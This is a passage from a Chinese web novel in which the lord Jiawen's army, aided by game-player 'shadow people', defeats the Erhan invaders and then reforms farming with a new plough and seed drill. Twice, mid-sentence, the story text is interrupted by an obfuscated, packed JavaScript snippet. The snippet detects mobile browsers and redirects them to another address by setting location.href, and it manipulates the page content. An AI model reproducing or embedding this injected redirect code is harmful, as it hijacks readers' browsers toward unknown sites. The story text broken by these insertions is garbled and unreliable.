“然而现在,父母妻儿、兄弟姐妹,包括你们自己都在忍饥挨饿,过着苦不堪言的日子,冥窟急需安宁。” “所以,今日一战,我们所要做的,不仅是打跑敌人——而且要夺回安稳平定的环境,重新创造吃得饱、穿得暖,让全家和自己过上好日子的新生活!” 他的喊声不如号角嘹亮,话不如诗歌动听,却让每个人的心听得清清楚楚,眼角染上血色的赤红。 “出发前,巫师族曾问过我,要不要为此次的战斗做一次预言。”马蹄声渐渐缓了下来,变成在阵列中游走。 众人心里一紧,握着武器的手又不自觉地开始发颤。 只听见马背上的人提高声音,说道:“我拒绝了预言。” “因为我知道,最大的‘浩劫’已经过去,今天的战争更不会成为冥窟的终点!” “冥窟没有灾祸,他们是你们的助力!无需预言,在我们所有人的共同努力之下,战斗必将迎接胜利!” 长剑从他腰间出鞘,被高高举起。剑锋在天光下闪过耀眼的光芒,像托举起一份明亮的曙光、一份璀璨的希望! 红色斗篷迎风纷飞,他银白色的雕花面具出现在众人眼前,一声高喝从面具背后传来—— “为了明天,为了未来,为了胜利!” 士兵们心中澎湃,恐惧依然本能地存在,但更大的勇气填充了他们全部的意志。 人人都想要回归正常的生活,这里不是终点。今天过后,他们将创造新的生活! “为了明天,为了未来……” 士兵们抄起手中的武器,有的举起来,有的捶打地面,发出隆隆震响,口中呼喊着所有的期盼。 “为了未来!为了胜利!!!” …… 贾文放下长剑,这玩意差不多三斤重,举起来不算费力,但他想象不出自己该怎么挥斩。 是啊,从文明社会穿越而来,这辈子都没接触过战争。没有任何冷兵器的训练经验,连鸡都没活杀过,上战场无疑是送死行为。 如今作为疑似唯一一名“掌门人”,坦尼森听他要随军参战,拒绝得非常果断;磨破嘴皮子,口水说干,劝了三杯水的功夫也没能劝下贾文。 “眼看最大的威胁消失了,然而又要迎来当头一棒,冥窟的每个人都很累。他们现在最需要一份士气,接下这一棒的士气。” 青年的声音里有几分无奈,似是苦涩地笑了下。 “职责所在嘛,不是吗?” 不过他并不会真正上阵厮杀,那意味着保护他的人必须承受更多的伤害和风险。退到线后安全待着,予他、予别人都好。 “职责”有限,他已经尽可能地完成了。 - 微风吹动旗帜,露出漆黑底色的旗面,一轮被蛇缠绕的红色弯月出现在上方,随着风的舞动,红月在缓缓升起。 一只“鹰”探到旗帜,飞速乘马回到将领身边,禀告前方的情况。 听罢,厄尔悍将领身下的马头一甩,似乎弹出一声嗤笑。 “能派兵过来还有什么狗屁的万年灾祸,我早就说过,巫师就是骗子,还骗过了我们的王。” 他唇角一扯,眼里充满饮血般的残酷。 “尸人的人数连我们的一半都不到,更别说精兵,这块肥肉啃得下来。” “尸人”是个极具侮辱性的称呼,厄尔悍人用它来代指冥窟人,意指冥窟里那些面容有损的人,都是一群行走的尸体。 一旁的下属却回望一眼身后,虽然他们人数众多,他眼里还是不免地涌现出一丝担忧。 “不用多想,不管数量还是武力,我们的骑兵远远胜过他们。马背上的厄尔悍人以一当十,胜算在我们手中……” 厄尔悍将领忽地把话放轻,下属知道,他在说身后那一群人。“……不过,就先让他们去吧,毕竟是王的命令。” 下属看见将领抽出弯刀,将巨石般的大臂肌肉抬到耳侧。 “吹响号角,把红月摘下来!!!” - “呜——呜——” 远方的战号乘着气流,悠悠飘向冥窟军队。众人尚未分辨出这是幻听还是现实,一声近在咫尺、更为嘹亮的号角声在军队上空激荡。 他们站在丘陵高地,已能望见远方的敌人正在压近。 这一次,厄尔悍的步兵数量远远超乎想象。可以看到有人骑马往两翼进攻,但相较于正面出击的步兵,骑兵只是大江大河之外的一条小溪……但无暇多想了。 “准备迎敌!弓箭手准备!” 弓弦被扯出大大的弧度,一排排箭矢昂起头颅。待敌人进入范围,长官一声令下—— “射!” 箭矢越空飞去,化为真正拥有实体与杀意的雨滴,纷纷往敌军那头下落! 箭雨射倒一部分前排,人员开始轮换,下一波箭雨蓄势待发。 厄尔悍骑兵蛮勇彪悍,从来都不可小觑。为了抵挡骑兵从两翼进攻,军阵外侧专门设置障碍物,摆放拒马。 障碍物毕竟有限,而拒马照顾不到的地方,就要由人来抵挡。两翼的位置安排了不少人员,大家半蹲下去,只待骑兵接近,他们便立刻竖起顶端削成尖、将近六尺长的木矛,架起木矛与人身组成的拒马。 正面方向,步兵列阵,地面轰隆隆震动着,敌人已至坡底。他们将武器牢牢抓紧,从坡上直冲而下。 一时间,呼喊声大作,两边的吼声融汇在一起,飞扬的草屑卷起渣土,矛与戈、剑与枪携着所有人的命运,正在快速相迎—— 突然,空气树胶似的开始黏着,变得混沌、扭曲,泛起无形的波纹。盛夏高温时才可见到的景象,此时竟弥漫于整片缓坡。 人们没来得及反应过来发生了什么,空气宛若被戳开一个洞,从里面吐出一团一团的黑烟。 不,那不是黑烟! 因为烟雾不可能凝聚成人形,跳下地面,发出兴奋狂放的大笑,仿佛要将世间的所有事物吞进它们的叫喊声中! 离短兵相接只剩一刹那,剧变突生,两边都有一瞬间的反应不及。没人注意不到周遭的变化:那些黑烟从四面八方钻出来,一个接一个,像源源不息的瀑布,迅速挤占战场。 “吼呼哈哈哈哈哈哈哈!” “开战了开战了!憋死老子了,保卫战终于开了!” “往哪儿打啊啊啊——哦哦找到人了——啊啊啊啊冲啊!” “烟雾”会说话,“烟雾”有人形;“烟雾”目标明确,向着厄尔悍一边的军队猛烈奔袭。 厄尔悍军队刚刚冲至半个坡,现在被这群不明来物迅速倒逼回去。 人人被吓到魂不附体,心脏要从嘴里吐出来,已经动弹不得的人自然被“吞噬”其中,不少也丢盔卸甲,只管赶紧逃命。 人没见过这个,马更不用说。 骑兵身下的马嘶叫不断,抬起前蹄就要掉头转向。背上的人试图拉紧缰绳控制它,它便要把他甩下背;抑或无头苍蝇般四处乱撞,直直撞去拒马上,摔得人仰马翻。 还挥得动刀的在尝试攻击,可是它们无血无肉,无论刀怎么挥,净是一团雾,哪里知道怎么才能消灭得掉。 即使在失去理智的疯狂乱打当中,不知刺中了哪个位置,一个怪物消散了,却还有第二个、第三个扑向你。 根本杀不完,摆不脱:死死缠着你,挥之不去。 末日吗,还是噩梦?神啊,求您让我醒过来! 战场跟玩家想象中的宏大史诗级场面大相径庭,冷兵器战斗便是如此,只有铁器和血肉。不过人一多、情绪被调动起来,又拥有如此真实硬核的沉浸体验,一样玩得不亦乐乎。 许多玩家连武器也找不着一个,身上有什么掏什么,把物尽其用发挥到极致,一根木棍都当剑使。赤手空拳就嗷嗷冲上去送的也不在少数。 反正能开疼痛屏蔽,被砍不会痛,那还怕个啥,两腿一抡直接莽! 玩家崔耿甚至掏出一把不知从哪搞来的诗琴,原地唱起歌来。路过的玩家差点被他笑死,他只抖着声带告诉别人,职业吟游诗人你别管~~ 于是下一秒便被吓疯的敌人劈成灰。 崔耿哀嚎:[我就想试试能不能上个增益buff,说好的两军交战不斩乐师呢!] [幸好有敌我识别,不然真分不清哪是哪了。] 一位玩家左顾右盼地寻找敌人标识,长|矛从侧面飞过来,穿过身体插|入地面,一戳就掉了三分之一的血。 “我尼玛!”他看着血条震惊大骂,[差点给我干没了,原来能被队友误伤。准头差成这样还敢拿矛当狙打,看着点行不行,现在复活时长要三分钟了!] 另一名幽影人从他身边呼啸而过,完全没听见这人骂了什么,追着人一顿乱舞。从开服以来始终未动的经验条在上涨,虽然龟速,但额外经验在间歇不断地+1+1+1…… 拿的什么东西效率这么高?是真剑!其他玩家定睛一看,原来是个锈迹斑斑的家伙事—— 喝喝,懂不懂破伤风之剑的威力。 锈是这把传说级武器的优点,亦是缺点,皮太脆,没斩一会儿便开始力不从心。 眼见有断剑的风险,他喊妈似的大喊旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264044|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边的组队队友。队友一把将他扯过去,手心凝聚一道微光,往剑身一抹。 锈剑依然是锈剑,经队友这么一施法,再使用时感觉没那么脆了! 对啊,《西境》可是有魔法系统的! 魔法系统在战斗当中首次出现了,每个人的魔法表现似乎各不相同。 玩家试图运用起来,有人对准地上带火的箭矢,将手抬起,奄奄一息的火苗突然烧旺了些,随后被风吹蜡烛似的熄灭了。 风是从别人那边吹过来的,一样是魔法效果。原本风向往北,在玩家周身便改变了丝丝气流,逆着向南流。如同四月清风,微微撩动黑色兜帽,还没被其他人撞飞的玩家带起的风大。 总而言之,有魔法系统,只是刚出生级别,放战场上暂时没卵用。但不妨碍玩家们觉得新奇有趣,一个个想着法怎么用在攻击上。 两军人员见证又一场变化:原来这群鬼魅生物不仅生生不息,而且个个皆会魔法! 冥窟军队终于反应过来,幽影人,是来帮助他们的。 他们此前并不知道幽影人会来参战,更想象不到前些日子令人闻风丧胆、避之不及的恐怖种族,竟然愿意为了冥窟投身战场,奋不顾身拼杀在前,将厄尔悍人打得节节败退。 他们看见幽影人英勇无畏的斗志,不惧死亡的牺牲; 看见手无寸铁,却义无反顾冲向敌阵的背影; 看见化为灰烬,也要用他们的言语,于生命最后一刻,发出一声号角般嘹亮高呼的身姿…… 幽影人不再可怕,在冥窟军队心中,他们由恐怖的代名词,变成了一往无前的象征! 一片嘈杂之间,只听谁拔高嗓门叫道:“看呐,是钦定者——” 一堆幽影人正在缓慢朝前蠕动,口中喊着保护贾文,一边难掩兴奋地将队伍向前推进。 团团簇拥的中心,几匹高头大马贴身围绕着一匹骏马,一抹醒目的红色夹杂其间。贴身护卫将最中间的人牢牢护住,挡住有可能随时袭来的箭雨和攻击。 这抹红色是王座钦定者的斗篷,战前他们见过。 钦定者的话语犹在耳畔,他说,冥窟没有灾祸,会成为他们的助力……此情此景,不就是事实。 冥窟是不是也能迎来胜利? 幽影人神兵天降,钦定者与他们同在,军中士气大振,大家胸中澎湃万分。希望在人人眸光中绽放,这仗打得下来,家能守得住,冥窟会赢! …… 一方的希望筑成另一方的绝望,冲击一浪高过一浪,厄尔悍军队从身到心全面崩溃。 扔下武器跪地求饶的人越来越多,如果能从这场灾难里早点解脱,成为奴隶也心甘情愿。 其实军队奔袭而来之时,阵型本就像水添得太少的面粉,捏不成一团,之后又渐渐从指缝间散开来。被鬼魅生物一冲,更是作鸟兽散,向四面八方溃逃。 战场本就风云变幻,然而如此迅猛且使人匪夷所思的转变,在这片土地上——或许翻遍界外的历史也不曾有过。 隔着极远的距离,厄尔悍将领、一众下属及一队主力军,目睹了所有过程,没有任何词语能够描述得了此刻的感受。一个念头秘而不宣、不约而同在他们心中升起:万幸没有加入战局。 “现在怎么办?”下属感觉整个身子只剩嘴能动。 厄尔悍将领令马后退几步,调转马头。 “直接走。” 现在再谈什么胜负,根本就是笑话。 “好、好,回去禀告王。”下属正要动作,将领的话音阻止了他。 “回去?把他们送给灾难是目的,但大败,只有死路一条。王在病榻上,也能轻松让我们人头落地。” 又一句“怎么办”掐在喉咙里,真要杀进去,直面那些恶灵么?下属六神无主地想。 厄尔悍将领不再言语,最后望一眼战况,然后策马离开此地。那不是回家的方向,更不是军队此前驻扎的营地。 其余人默然无声,一夹马腹,逐个跟上将领远去的身影。 …… “不是,你们发现没有……” 有个玩家看清地上求饶的面孔,简直震碎三观。“怎么对面还有老人和小孩???” “啊?” “我草?” “我也发现了,只敢看准了再打,到底怎么个事……” 其实战争至此已成定局,玩家冲溃敌方的速度难以想象,再没有打下去的必要了。 冥窟一方吹响另一种节奏的号角,蛇绕红月的旗帜始终未倒,此刻迎风招展,宣告着胜利! 冥窟军队发现战争结束得如此迅速,而自己还活着……厮杀声不再,雀跃的欢呼充斥着麦拉索丘陵。打赢了,胜利了,他们真的把冥窟守下来了! 一名厄尔悍骑兵被一剑掀翻在地,弯刀摔出去几丈远。他想爬起来,但长剑横在身前。 他抬起头,把他斩落马下的人挑开头盔面罩,一张火融之后,惊心骇目的脸显露出来。 骑兵显然还深深地沉浸在幽影人造成的恐惧里,似乎知道自己会死在对方剑下,便用通用语问出了最为重要的问题。 “那到底是什么……” 火焰骑士此前寸步不离地守着贾文,盔甲溅上了许多别人的血迹。他骑马来到跟前,对他说: “我不杀你,并非想要放过你。” 逆着光,火焰骑士剑尖直指厄尔悍骑兵。 “另找一匹马,回去告诉你们的厄尔悍王,告诉路上见过的每一个人——” “他们是幽影人——正是‘万年灾祸’。是王座钦定者的臣民、冥窟将来的助力。” 10.人口普查 麦拉索丘陵似乎刚刚经历过一场疯狂的梦境,而满地的残箭与灰烬,陈述着战斗过的现实。 大部分没能跑掉的敌人被捉起来,战俘不会杀,被成批地运回冥窟。 战俘们神情恍惚,方才一遭甚至破坏了他们对外界的感知,只知道闷闷地垂着头,跟着旁边的辎重马车,或者前面一个人的脚印走。 这一长串队伍里,可以看出有高有矮、有老有幼,唯独没有胖瘦之分,无一例外瘦得干柴。跟奴隶比或许稍微好些,但有不少人面色蜡黄,明显拖着一脸病容。 战场的清扫工作仍在进行,士兵捡回能用的武器,幽影人们帮着运送伤员。 一名幽影人蹲在士兵面前,后者大臂被割开一个大口子,血淋淋的肉暴露在空气中,人痛得叫都叫不出来。按这个出血量,再过一会恐怕人就要撑不下去了。 “有没有止血钳?” 四周人声嘈杂,似乎没人听见幽影人焦急的询问,也或许问题本身就无法被回答。为了争分夺秒,幽影人直接撕下自己长袍上的一块布,把布叠起来,缠绕在士兵出血伤口上方大约四指左右的位置。 不知何时,旁边也蹲来一道靛蓝色身影,她的目光紧紧锁在幽影人漆黑的五指、以及熟稔的捆绑手法上:只见布带绕着胳膊裹好后,还就地取来一根小木棍,插进系带之间,绕了个圈后再将系带扯牢。 “四个小时之内要松开,不然肢体会坏死。”幽影人大声提醒,生怕士兵意识涣散听不到,又向旁边身着靛蓝色衣裳的人嘱咐了一遍。 她正欲说话,却见幽影人转头离开,火速去往下一个伤员身边。 现场不乏数个身穿靛蓝罩袍的人,皆游走在伤员之间。她合力与另一名同僚把士兵搬上马车,自己也坐上车板。颠簸之时,她看见士兵伤口流的血已经明显减少,随后深深地看向车尾、看向深邃漆黑的人群。 - 麦拉索丘陵一役大捷,消息传回冥窟,人们又一次感到即将溺毙的时候,终于从水面浮出,抬起了头,呼吸到名为幸免于难的空气。 将他们从水里拯救出来的,竟然是那些令人闻风丧胆的幽影人! 这场战斗堪称奇迹:原本四千不到的兵力,对战敌方一万余人,最后冥窟军队几乎没有人员阵亡。即使有受伤的人,数量也非常少,被送去圣堂接受治疗。 而这一切,都必须归功于幽影人——他们从天而降,用英勇无比、无所畏惧的气势打败了厄尔悍军队,将士兵们带回他们的家人身边。归来的士兵则向所有人讲述着幽影人降临时的震撼光景,有多么地无坚不摧,拥有怎样所向披靡的力量…… 如此,不管模样再怎么可怕,冥窟的民众不可能再惧怕自己的救命恩人。 ……如果能少那么一些些、一丢丢地热情的话。 “你好啊婶婶,又是我!” 女人认着声音打开窗户,一张帽口下面只剩黑色大洞的脸撞入眼帘。她抚摸心口,缓了缓,开门让幽影人进屋。 这些深渊来客似是从来没有什么主客观念,大摇大摆地进屋,巡视自己领地一般要把全屋逛个遍;接着就是动手摸来摸去,所有能拿的事物都想拿在手里。 听说有些手不是很干净,还会明目张胆顺走东西。要不是被发现后,他们的手心会自动升起一股蓝火——被烧一下手,否则居民们真不知该拿他们怎么办。 还好这位幽影人是个比较有礼貌的,虽然两天前第一次被允许进屋,也兴奋地绕着小房子看了半天。 室内很小,算是一居室,只是被简单地划分过功能区,一眼便能看得见床。 幽影人自来熟地走到床前慰问,看到床上的男人仍在沉睡,便放轻声音问:“婶婶,大叔今天情况怎么样呀。” “好多了。” 女人替丈夫掖好被子,被子下方,男人的手臂裹着布条。听圣堂凯龙会的人说,是一位幽影人救下了她的丈夫。 当时情况危急,人等不到用烧热的铁烙住伤口,在那之前,若是没有幽影人帮助,他的丈夫就要把血流干了。 “多谢你们的帮助。”女人诚挚地道谢,后怕的余韵还残留在心头,“如果没有你们,可能我们一家都……” “哎呀,没事的。”幽影人安抚地拍拍她的肩膀,“既然家人平安,就不用想那么多了,照顾好伤患,继续好好过日子吧。” “认识好几天了,还不知道婶婶的名字。” “我是佩拉·格里芬。”佩拉介绍道,“我的丈夫叫乔瓦尼·埃米利奥。” “您家女儿呢?今天怎么没见到。” 想起女儿,佩拉露出一个既感到有些头疼,又无奈而宠溺的微笑。“她去找草药了。对了,她叫加利莱亚。” “方便我继续问问你们的年龄吗?包括加利莱亚的年纪。家里是做什么的,还有没有别的人?” 佩拉一愣,注视着面前虚空般的面庞:“问这些……是要做什么?” 幽影人向上一指,头顶上方仿佛有什么东西,但空空如也。 “贾文领主派我们来问一问大家的信息,他想更了解冥窟的民众,也方便今后治理冥窟。” “我是梅拾佳,您可以叫我小梅。” …… 做人口普查远比想象中重要得多,掌握一片区域内的人口数量、每个家庭的成员结构、成员状况,以及经济状况等等,对如何治理这片地方起着关键作用。 了解居住在这里的人,知道基本情况,才能知道该怎样下手做规划。 派玩家去调查简直省掉大半力气,居民回答时,信息会自动录入他们的游戏系统,贾文脑袋里的东西也会同步收集。一些玩家可能覆盖不到的地方,他也专门派人去调查人口情况了。 同时能够让玩家们跟居民之间再多多接触,脱敏需要过程,这不正是个好机会,可谓一箭双雕的好事。 另一些显而易见、目前冥窟内急需做出行动的规划,贾文也在众廷臣的注视中列举出来。 第一,必然是考虑吃饱饭的问题,农业得发展起来; 第二,冥窟百废待兴,各方面的基础建设,包括战后重建,必须提上日程。 第三,便是前两点做好了,就能自然而然有安排,可解决的问题——休养生息,居民安置,促进就业。 ——此次战争他们俘获战俘近六千人,外加从其他贵族领地逃亡而来的流民难民,总数已经过万。一万余人,在当前这个时代,或者说在目前这片领地内,不算小数目了。 新增的人要有地方安置,不仅仅是找地方给他们住,更要为他们接下去怎么吃上饭,有活干而考虑。否则找不到活计只能偷和抢,容易产生治安上的问题,甚至酿出更大的冲突动乱。 想到战俘,还有麦拉索丘陵的战役,贾文心有余悸。 坦尼森口中的“混乱无序”不知道是什么样,但玩家的混乱无序他可是体验了个彻底。 本来打算退到前线后面呆着,随机发布一些让玩家保护他的任务,结果反而被脱缰的玩家直接送上前线,一条任务差点玩脱自己的命。 另外便是战俘。统计完人数,查看状况后,贾文及一众廷臣把骇然写脸上了。之前百思不得其解的问题,现在有了答案。 厄尔悍为什么明知有灾祸,可能降临冥窟的情况下,还要派兵来…… 因为,派来的“兵”大多是老弱病人,病人不分年纪,于是孩子也被塞在军队里。 一群将死未死的人,呼吸都嫌费口粮。大难在即,把他们送到灾祸面前,既能打探冥窟的情况,又能扔掉这群占用剩余资源的人。 听坦尼森他们说,战俘不全是厄尔悍的人,有一部分说话没有厄尔悍口音。他们到底是从哪来的,需要再进一步询问。 这事过于耸人听闻,贾文感觉自己的道德观又被震裂一个口子。带病的战俘先让人隔离了,必须观察一下,免得有传染疾病带进来。 待办事项太多,需要一件件来。 而现在,贾文正站在田间地头,和煦的暖阳洒在罩衫上,轻风吹起长外褂,勾勒出他单薄的骨架。 万年灾祸和厄尔悍的攻袭已经解决,万幸没有耽误春耕。就冥窟这存粮情况,今年的农事尤为关键,关系到之后每一个人的每一口饭。 只是……轮耕制度已经是二圃三圃制没错,贾文看着他们耕地用的农具,一张骷髅面容看不出变化,但他知道自己的眉头在渐渐绞紧。 那些犁翻地太轻了,跟他刚穿越来吃到的烤羊肉差不多,只伤及皮毛。 耕地要耕得深而匀,把杂草连根翻出来,让水分渗得进去;种子撒下去,才能埋得住,同时有空间生长,还不怕被杂草抢掉营养。 最直接的关系,是影响到作物生长,未来的收成。 犁不行,需要改。前一晚他刚在梦境图书馆搜集过大量农业相关的资料,包括农具,这会儿总算不至于看见问题但只能抓瞎。 他让人叫来极夜堡的工匠,工匠一路赶过来,光秃秃的脑袋顶上出了一层薄汗。日光照耀下,跟贾文的头盖骨比起来,一时不知道哪个更光亮。 而这工匠浑身上下似乎只有脑袋是干净的,衣服污迹斑斑,穿得乱七八糟,鞋子同码不同样。人像是还未清醒过来,闷闷地恭敬问候贾文。 他来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277069|165975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到贾文身边,见到后者正扶着沾满泥土的犁仔细端详,旁边老农大气不敢喘,以为做错事了,向他投来一个紧张而委屈的眼神。 “贾文大人,这犁有什么问题么?”工匠吐字含糊。 “问题很大。”贾文严肃说。 老农脸色惨白,想解释自己没搞坏,但按照以往的经验,解释就是顶撞,会遭到主人更加严厉的惩罚。他刚准备两膝一弯跪下去,贾文的声音再度响起。 “老伯,帮忙扶一下吧。” 等老农回过神,已经扶着犁站好了。确认不是自己出错惹大人不快,他松口气,悄悄用余光瞥着骷髅领主和秃头工匠。 老农听不懂二人交谈的内容,只知道在对着犁一通比划讨论,说这儿的形状可以改,那儿的犁头可以变。秃头工匠还用木棍在地上画画,他什么都看不明白,领主大人一看便懂了。 “就是这样,把犁头做成垂直的,犁壁做成曲线形,地能翻得更深更彻底。”贾文高兴于工匠竟然这么快就能理解他的意思,每个地方讲得大差不差。 秃头工匠沉吟一会,两道浅到看不见的眉渐渐舒展,人终于看着清醒了些。 他直起身,发现穿反一只鞋,默默调整着。 “离开冥窟前一年,我曾拜访过我的师父。那时看到他在研究怎么改造犁。贾文大人,您说的改造方法,和我师父想象的思路十分相像,但有着更好的改进。” 提到“师父”二字,工匠神情划过一抹落寞。 刚才交流中,贾文向他介绍的正是罗瑟拉姆犁,也就是后世改进萨克森重犁之后的版本。即使在他观察来看,萨克森重犁在人们所用的轻犁里都算先进的了。 萨克森重犁能够适应较为湿重的土壤,犁得深,翻得起来。 罗瑟拉姆犁在功能上有更多进步,比前者轻巧,使用的牲畜也更少。 根据刚才的谈论,以及工匠的说法,贾文判断,或许界外的奥兰迪尔王国已经出现类似萨克森重犁的犁具了,只是尚未传入冥窟。 “那么……”贾文眼窟中的紫色在隐隐闪烁。 “做得出。” “交给你了。”贾文郑重道,言语里甚至带着几分对方不懂的热切,“之后还有很多东西要麻烦你,只要肯做,肯钻研,今后一定能成为一代匠师。” 秃头工匠不置可否,对“一代匠师”的说法没什么反应。临了再看一眼地上画出的泥土印,默默告退。 …… 贾文目送工匠离开,却见那人走路没走稳,打个趔趄,险些摔进地里。 他和火焰骑士双双闭了闭眼。 虽然不能以貌取人,但秃头工匠这状态委实不像做工的,要不是没闻到酒味,不然贾文都要以为对方喝大了。 火焰骑士佩顿现在作为贴身护卫,只要贾文出极夜堡,他都会随行。 他为贾文递过手帕,说道:“格伦这人只对各种器具感兴趣,会把他所有的精力放在做工上,而且木工、石具和铁器都能做。” 贾文继续擦着骨节上的土渣,他明白,佩顿是想让他放下心。一开始兴许有那么一丝怀疑,但刚刚沟通下来,秃头工匠格伦思路清晰,一点就通,疑虑随之统统打消。 “格伦的师父曾是奥兰迪尔王室的工匠,他跟随前一位领主来到冥窟,现在也是极夜堡里最好的工匠……” 贾文没有表情,但两只窟窿眼要迸射出紫光了。 这么有来头?师傅的师父是御用工匠啊!如果所言属实,在这个时代,相当于八级工一手带出来的兵。一个八级工能镇一个厂,厂长都得好好供着,含金量不必多说。 火焰骑士往旁边一看,被贾文突如其来的兴致惊一跳。跟在新领主身边有一小段时日,他还是第一次见贾文对某个人如此感兴趣。 只是佩顿话还没说完,续道:“就是……坦尼森大人也说过,这人聘用的费用太高了。” “有多高?” “是我薪俸的五六倍。” 一个工匠的薪资,能远超他身边的家臣护卫兼护卫队长……太夸张了。 贾文似是将腹诽说出声,佩顿赞同点头。 “……能赚回来。” 嗯?佩顿融化的五官一滞,罕见地露出一丝茫然。 能做的东西多了去了,贾文周身气质诡异地一变:高薪可以给,但要让发出去的薪水发得有价值,榨得出最大效用。 仿佛另一抹异界幽魂附身贾文,名为“前老板们”的人格在体内苏醒。 秃头工匠格伦醉汉似的走在路上,一阵寒风沿着脖颈穿过,他疑惑地看了眼太阳,抓紧衣领子,加快回去的脚步。 11.三脚耧车 十日后,一个新家伙拖上田地。老农按照指示,将新家伙架在牛背上,调整好后,牛开始前行,老农握住扶手,控制着犁地的行迹。 新家伙好似一把快刀,在地上翻出一道深深的刀痕。藏在地皮下的新土终于见天日,独属于泥土的腥味在老农鼻尖弥漫。 远处,其他农民看见这道“刀痕”,不由自主地停下手中动作,新耕出的土跟其他已经耕好的条田相比,颜色甚至深一个度! 如此成效对比之下,好像他们吭哧吭哧地犁半天地,全是白忙活一场! 老农试好一条田,把东西带回领主大人身边。 “用着感觉怎么样?” 贾文问完,也跟着微微一笑,看来不用对方回答了——用到顺手的家伙事,老农抑不住浑身喜气,眼尾的褶子始终没松开过。 “还有其他觉得可以改改的地方吗?” 听贾文这么一问,老农忽然收起笑容,神情浮现出谨慎惧怕。做出工具的工匠就在领主身侧,此时神情看不出什么异样。 老农冷汗岑岑,他哪有资格提劳什子要求,能摸上这样好的东西,已经是天大的幸运。 注意到对方一百八十度大转弯的脸色,贾文突然明白什么,抿起不存在的唇瓣,心微微沉下去。 是他欠考虑了,现如今是一个陌生的时代,且不说阶级观念根深蒂固,把这样的问题抛给一个农民,跟给出生死题没什么两样,提点别的就是得罪工匠。 “是不是深浅还不太好控制?” 秃头工匠蓦然出声,说话依旧含含糊糊,人还是那般不修边幅。他没有半点不悦,甚至用灼灼目光望向老农,期待他指出不好的地方。 这下讲好话反而不被期待了。老农咽口唾沫,犹犹豫豫地点头,带着点畏缩与磕巴讲述使用过后的感受,一句三解释地说了一两处觉得不太用得惯的地方。 又是一个十日,十天之间,工匠三番五次找上老农,叫上其他农民试一试。 或许因为早有构想,也或许是工匠不负眼下的青黑,不到一个月的时间内,新式犁便成功制成。 工具卓有成效,经它翻过的地,似乎都散发着焕然生机。 当然,这是农民间夸张的说法,却足矣看出他们对新式犁的喜爱。 冥窟不止极夜堡附近那一块田,新犁肯定也不止刚刚出炉的那一把,自那一天开始,冥窟的工匠们据木、雕凿、捶打的声音再也不间断过。 大部分兴许赶不上这一季深耕,无碍,只要工具做出来了,迟早有用得上的时候。 不仅于此,只要想要租用,可以以极低的租金租到农具——这是最令农民们感到兴致高昂的地方。 老农摸摸面前的新犁,笑眼问工匠今天又要怎么试。 “暂时没有可试的了。”工匠格伦挤出一个哈欠,“这是给你的。” 老农张大嘴巴:“这、这……” “收下吧,做出来就是要用的。‘焦石帮了很多忙’——贾文大人是这么说的。” 望着工匠呵欠连天,逐渐远去的背影,老农手扶新犁,过去半天,仍缓不过来。 喜悦像春雨浇溉着心田,润泽地流遍每一寸胸口田地。 实在是太美好了,这样的时刻。在他过去的奴隶生命中,从未品尝过几次。上一回,是他从战场上活下来,得了些军功,可以租到一些农田。 再上一次,则是他被一条赦令,挽回他自己、乃至全家人的性命与自由。 老农爱不释手地摸着新农具,回想工匠离开前的最后一句话,露出含泪的微笑。 “贾文大人还说,让你别再叫‘焦石’了,快些给自己和家人起个新名字,找幽影人说一说。” …… 格伦回到工匠屋,准确来说,也是他的房子。 屋里找不着一个能下脚的地方,被无数废料堆满。他却能精准从木材废料的缝隙间抽出一张羊皮纸,吹吹灰,掸掉碎木屑。 他从来不省笔墨和羊皮纸,一年到头,大半的薪俸都花在这上头。烧金的习惯为他带来属于工匠的财富——图纸。 格伦眼睛一眯,淡眉一皱,眼瞳中倒映着线条与图案:上面画的不是新式犁的构造,而是另一种新农具,领主称它为“三脚耧车”。 那天天还未亮,蓝水钟时间刚过四点,城堡来人传唤,让他进城堡上议事厅呆着。他人还迷迷瞪瞪不太清醒,没过一会儿,便见一道骷髅身影卷着风靠近,身后仆人追着给骷髅送长外褂。 领主是刚醒之后就直奔议事厅,纸笔早在桌上备好了,见到他一个字没说,直接扑在纸上写写画画。 格伦搞不懂新领主想干啥,可随着纸上的图案愈发清晰,瞌睡烟消云散。 他眼睛直勾勾地盯着羽毛笔游走的痕迹:画上的东西乍一看和新式轮廓有几分相像,仔细观察后却是大相径庭。 图示之物是一种农具,每一处结构都有着独特的效用。领主说画功有限,只能展示到这个程度;然而在格伦看来,那些线条的画法也十分别具一格,甚至能从一张纸上看到东西的其他角度。 “种子从耧斗进去,流到口子那儿……你看,口子的位置有片插销,插销打开点,流下去的种子就多,闭合一些就会变少。”领主逐个解释,“通过这里,种子滑入三只耧脚,洒进地里面。” “把三只脚中间做空就可以?”格伦仿佛在提问,又像醍醐灌顶般自言自语。 “没错,他们正是把它设计成空心,种子才能一路顺着滑下去,直接完成播种。” 羽毛笔尖落到下方,圈起与耧脚一体相连的三条耧铧铁齿,铁齿形同大型猫兽的利爪,抓进土地,能深深刮出沟壑。 “耧铧前面开沟,耧脚后面播种,同时还能实现给种子‘盖被’。” 多种功能同时实现,只需要一台农具。而操作起来呢?——“一头牲畜牵着车,一个人牵牲畜,再来一个人后面扶好,一边摇,一边就能完成!” 